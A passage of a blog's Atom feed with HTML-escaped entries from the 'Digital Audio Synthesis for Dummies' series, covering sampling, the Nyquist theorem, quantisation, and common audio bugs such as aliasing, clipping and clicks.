&lt;li&gt;To combine audio signals, we can apply &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#additive-synthesis&quot;&gt;additive synthesis&lt;/a&gt;.
&lt;ul&gt;
&lt;li&gt;This also allows us to play multiple pitches simultaneously (chords).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We can generate complex waveforms by using &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot;&gt;wavetable synthesis&lt;/a&gt;, which trades memory for speed by sampling pre-generated signals.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Waveforms (Sine, Square, Triangle, Sawtooth)
&lt;ul&gt;
&lt;li&gt;Most audio synthesis tutorials cover simple waveforms; but as internet content is saturated here, I&#39;ll just drop a couple links. I couldn&#39;t find an article I like that introduces these waveforms in all their glory. If you know of better articles, let me know.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.perfectcircuit.com/signal/difference-between-waveforms&quot;&gt;Perfect Circuit&lt;/a&gt; (conceptual, high-level)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronics-tutorials.ws/waveforms/waveforms.html&quot;&gt;Electronics Tutorial&lt;/a&gt; (geared towards electronics; would be a nice read to prepare for the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3&quot;&gt;next post&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://musictech.com/guides/essential-guide/beginners-guide-to-synthesis-in-music-production/&quot;&gt;Beginner’s Guide: Everything you need to know about synthesis in music production&lt;/a&gt; – Introduces more forms of audio synthesis, geared towards music production.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Boy, do I have a lot to say about buffers. Why is the buffer size important? Small buffers may reduce the efficacy of batching operations (which is the primary purpose of buffers). Large buffers may block the processor too much, making it sluggish to respond to new input. Choosing an appropriate buffer size also depends on your sampling rate. With a buffer size of 1024 sampling at 44100Hz, we would need to generate our samples every $&#92;frac{1024}{44.1&#92;text{kHz}} &#92;approx 23.2$ ms. On a single processor, this means we have &lt;em&gt;less than&lt;/em&gt; 23.2 ms to perform other tasks (e.g. handle UI, events, etc.). &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Guess what? There are more ways to optimise wavetable synthesis—so it&#39;ll rock even more! See the open source &lt;a href=&quot;https://github.com/spiricom/LEAF/blob/a0b0b7915cce3792ea00f06d0a6861be1a73d609/leaf/Src/leaf-oscillators.c#L67&quot;&gt;LEAF&lt;/a&gt; library for an example of optimised wavetable synthesis in C. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>music</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 1</title>
        <description>An introductory discourse on audio processing. What makes audio tick?</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/"/>
        <updated>2023-02-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/</id>
        <content xml:lang="en" type="html">&lt;p&gt;A while back I worked on a lil’ &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard&lt;/a&gt; project and learnt a lot regarding digital audio signal processing. This post is the first in a series of posts related to that project and aims to provide a springboard for those who wish to get their feet wet with audio processing.&lt;/p&gt;
&lt;h2 id=&quot;dealing-with-data&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#dealing-with-data&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Dealing with Data 📈&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Get ready for some Data!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 620 / 473&quot; alt=&quot;Lieutenant Data from Star Trek. Get it?&quot; title=&quot;Get ready for some Data!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp 620w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 620px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When processing data of any form, we are concerned with the data’s quality. Higher quality data may lead to a more thorough analysis and better user experience, but also demand higher memory and computing requirements.&lt;/p&gt;
&lt;p&gt;With audio, we are concerned with two dimensions of quality: sampling (time) and quantisation (bit depth).&lt;/p&gt;
&lt;h3 id=&quot;sampling&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Sampling 🔪&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sampling&lt;/strong&gt; refers to how much we “chop” a signal. Suppose our signal is a carrot. For a stew, we may want longer samples (sparser chops). With rice, however, it&#39;s better to go with shorter samples (denser chops).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Want some free samples?&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Diagram of a signal being sampled at different frequencies.&quot; title=&quot;Want some free samples?&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Blue line: original, continuous signal. Red dots: sampled, discrete signal. At higher sample rates, we chop densely, and more information is retained. At lower sample rates, we chop sparsely, but the sampled signal struggles to capture the peaks and troughs.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Digital audio signals are represented discretely by storing samples at regular intervals instead of using a single continuous line.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;sample rate&lt;/strong&gt; refers to how fast we chop, how fast we sample our audio. Choosing an appropriate sample rate for your application is an important consideration. A higher rate yields more information per second, at the expense of space.&lt;/p&gt;
&lt;p&gt;Audio is usually sampled at 44.1kHz or 48kHz (i.e. 44,100 or 48,000 samples per second). But why are these rates so common? To answer this, we first need to learn about the…&lt;/p&gt;
&lt;h3 id=&quot;nyquist-shannon-sampling-theorem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Nyquist-Shannon Sampling Theorem&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;Nyquist-Shannon Sampling Theorem&lt;/strong&gt; (aka the Nyquist Theorem) is an important consideration when choosing a sample rate for your application. According to this theorem, in order to accurately reconstruct a continuous signal such as audio, it must be sampled at a rate that is &lt;em&gt;at least &lt;strong&gt;twice&lt;/strong&gt; the highest frequency component of the signal&lt;/em&gt;. This threshold is also called the &lt;strong&gt;Nyquist frequency&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For example, if we want to store a 1kHz audio signal, we would need to sample at 2kHz or more. Humans can hear frequencies in the range 20Hz – 20kHz, so if we want to capture all audible sounds, our sample rate needs to be at least 40kHz.&lt;/p&gt;
&lt;p&gt;This is important to avoid &lt;strong&gt;aliasing&lt;/strong&gt;, which occurs when high frequency components of a signal are mistakenly interpreted as lower frequency components. Aliasing results in distortion and can lead to inaccurate representation of the original signal.&lt;/p&gt;
&lt;p&gt;The diagram below demonstrates aliasing, which happens when our sample rate is too low.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Aliasing example.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 360&quot; alt=&quot;Aliasing example.&quot; title=&quot;Aliasing example.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;(a) Sampling a 20kHz signal at 40kHz captures the original signal correctly. (b) Sampling the same 20kHz signal at 30kHz captures an aliased (low frequency ghost) signal. (Source: Embedded Media Processing.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The Nyquist Theorem explains why we usually sample above 40kHz, but why 44.1kHz specifically? Well, there are historical reasons (pioneering decisions) and mathematical reasons (factoring and downsampling).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Also, being lenient with our sampling frequency gives filters more flexibility.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;quantisation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#quantisation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Quantisation 🪜&lt;/h3&gt;
&lt;p&gt;While sampling deals with resolution in time, &lt;strong&gt;quantisation&lt;/strong&gt; deals with resolution in &lt;em&gt;dynamics&lt;/em&gt; (or &lt;em&gt;loudness&lt;/em&gt;). Here, we’re concerned with two things: &lt;em&gt;quality&lt;/em&gt; and &lt;em&gt;data storage&lt;/em&gt; (in files or RAM).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Like sampling, quantisation affects how well a signal is represented. If we quantise with 1 bit, then each sample has only two possible values (0 or 1). This means we can represent square waves (where high=1, low=0). But we can’t represent sine waves since the values in between that &lt;em&gt;make up a sine wave&lt;/em&gt; aren’t in our vocabulary.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Higher quantisation, better quality.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Higher quantisation, better quality.&quot; title=&quot;Higher quantisation, better quality.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Blue: original signal; Red: quantised signal. Higher quantisation leads to better audio quality. With 1 or 2 bits, we can barely tell the signal is reproduced. With more bits, the signal is more faithfully reproduced.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Higher quantisation also gives us greater dynamic resolution. With 1 bit, we&#39;re limited to absolute silence (0) or an ear-shattering loudness (1). With 8 bits, we have $2^8 = 256$ different &amp;quot;volume settings&amp;quot; to choose from—much more quality than simple 1s and 0s!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Regarding data storage, the less number of bits needed per sample, the more memory saved. When storing samples in files, most applications quantise to 16-bit integers, which allow for a decent resolution of -32,768 to +32,767 at two bytes per sample (1 byte being 8 bits). 32-bit floats are another common representation, bringing substantially greater detail at the expense of twice the space.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Lower quantisation, more compact storage.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Lower quantisation, more compact storage.&quot; title=&quot;Lower quantisation, more compact storage.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Each block is an audio sample. Lower quantisation leads to more compact storage.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Now when storing audio in RAM for &lt;em&gt;audio&lt;/em&gt; &lt;em&gt;processing&lt;/em&gt;, it&#39;s easier to work with floats in the range of -1.0 to 1.0. Why the smaller range? Well, if we work directly with the maxima, we may easily encounter errors.
With integers, we would experience &lt;a href=&quot;https://en.wikipedia.org/wiki/Integer_overflow&quot;&gt;integer overflow&lt;/a&gt;, which wraps positive values to negative values—a horrid nightmare!
With floats, we would venture into the territory of infinity, which disrupts subsequent computations.&lt;/p&gt;
&lt;p&gt;Thus, we use a smaller range to allow room for processing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;audio-mishaps-and-bugs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#audio-mishaps-and-bugs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Audio Mishaps and Bugs 🐞&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you know the enemy and know yourself, you need not fear the result of a hundred battles.&lt;/em&gt; – Sun Tzu, The Art of War&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sometimes when experimenting with audio, something goes amiss. The most common issues are aliasing, clipping, and clicks. These pesky lil&#39; issues may crop up when processing audio... all the more important to understand how to mitigate them.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Pro Tip&lt;/strong&gt;: Oscilloscopes are your friend! If you encounter weird sounds, you can feed your processed signal into an oscilloscope (analogue or digital) to check for issues.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;aliasing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#aliasing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Aliasing&lt;/h3&gt;
&lt;p&gt;We mentioned aliasing &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot;&gt;earlier&lt;/a&gt;. Aliasing occurs when a signal is sampled insufficiently, causing it to appear at a lower frequency.&lt;/p&gt;
&lt;p&gt;Generally, increasing the sample rate helps (or lowering the maximum frequency). In any case, it&#39;s wise to be vigilant with your sample rate and frequency range.&lt;/p&gt;
&lt;h3 id=&quot;clipping&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clipping&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Clipping ✂️&lt;/h3&gt;
&lt;p&gt;Clipping occurs when our samples go out-of-bounds, past the maximum/minimum quantisation value. Clipping may cause our signal to wraparound or flatten at the peaks and troughs.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Wraparound clippy.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 238&quot; alt=&quot;Clipping, where any excess data clipped will overflow. For example, top clipped appears in the bottom.&quot; title=&quot;Wraparound clippy.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of wraparound clipping, typically due to integer overflow/underflow.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Clamped clippy.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 400 / 300&quot; alt=&quot;Clipping, where any excess is ignored and flattened.&quot; title=&quot;Clamped clippy.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp 400w&quot; sizes=&quot;(max-width: 256px) 256px, 400px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of a signal flattened at the peaks and troughs due to clamping.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Clipping arises from neglecting dynamic range. It can be addressed by scaling down the signal (multiplying samples by a factor below 1) or by using &lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_range_compression&quot;&gt;dynamic range compression&lt;/a&gt; (loud noises are dampened, soft noises are left unchanged).&lt;/p&gt;
&lt;h3 id=&quot;clicks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clicks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Clicks&lt;/h3&gt;
&lt;p&gt;Clicks (aka pops) occur when a signal behaves discontinuously with large differences between samples. This difference forces the speaker hardware to vibrate quickly… too quickly.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Jumpy jumpy signal is bad bad.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 323&quot; alt=&quot;A signal with clicks, where samples jump click from top to bottom, seemingly discontinuous.&quot; title=&quot;Jumpy jumpy signal is bad bad.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Signal jumps from -1.0 to 1.0, causing my speaker to pop and my ear drums to bleed from utter despair.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Clicks may arise from trimming or combining audio recordings without applying fades. In audio synthesis, mismanagement of buffers and samples may also be a factor.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;Audio processing is ubiquitous in daily life. In this post, we explored how digital audio works under the hood. Hopefully we communicated on the same wavelength and no aliasing occurred on your end. 😏&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2&quot;&gt;next post&lt;/a&gt;, we&#39;ll look at audio synthesis: the making of audio from nothing.&lt;/p&gt;
&lt;p&gt;To recap…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fundamental to audio processing is the &lt;em&gt;quality&lt;/em&gt; of audio data. This comes in two forms: sampling and quantisation.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot;&gt;Sampling&lt;/a&gt; refers to the discretisation and resolution of a signal in &lt;em&gt;time&lt;/em&gt;.
&lt;ul&gt;
&lt;li&gt;Higher sample rate = more information per second = higher quality.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#quantisation&quot;&gt;Quantisation&lt;/a&gt; refers to the bit depth, the resolution in loudness.
&lt;ul&gt;
&lt;li&gt;Higher bit depth = higher quality.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Higher quality comes with the cost of higher memory consumption.&lt;/li&gt;
&lt;li&gt;To accurately reconstruct a signal, the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot;&gt;Nyquist Theorem&lt;/a&gt; states the sample rate should surpass the &lt;em&gt;Nyquist frequency&lt;/em&gt; (&lt;em&gt;twice the maximum frequency of the signal&lt;/em&gt;).
&lt;ul&gt;
&lt;li&gt;Sample rates below the signal&#39;s Nyquist frequency are prone to aliasing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some common issues to audio processing are aliasing, clipping, and clicks.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#aliasing&quot;&gt;Aliasing&lt;/a&gt; occurs when a signal is misinterpreted to be of lower frequency.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clipping&quot;&gt;Clipping&lt;/a&gt; occurs when samples exceed the dynamic range and are cut.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clicks&quot;&gt;Clicks&lt;/a&gt; occur when samples contain a large difference, causing the speaker to vibrate too quickly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Katz, D; Gentile, R. 2005. &lt;em&gt;Embedded Media Processing&lt;/em&gt;. They’ve provided &lt;a href=&quot;https://www.analog.com/media/en/dsp-documentation/embedded-media-processing/embedded-media-processing-chapter5.pdf&quot;&gt;Chapter 5: Embedded Audio Processing&lt;/a&gt; as a preview. It&#39;s a nice read. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;44,100 can be factored into $2^2 &#92;times 3^2 &#92;times 5^2 &#92;times 7^2$, which is useful for downsampling to various applications. It&#39;s very easy to downsample by a factor of the original sample. For instance, if we want to downsample by a factor of 2, we simply skip every other sample (or interpolate between). &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;See also: &lt;a href=&quot;https://dsp.stackexchange.com/q/17685/65058&quot;&gt;Why do we choose 44.1 kHz as recording sampling rate?&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
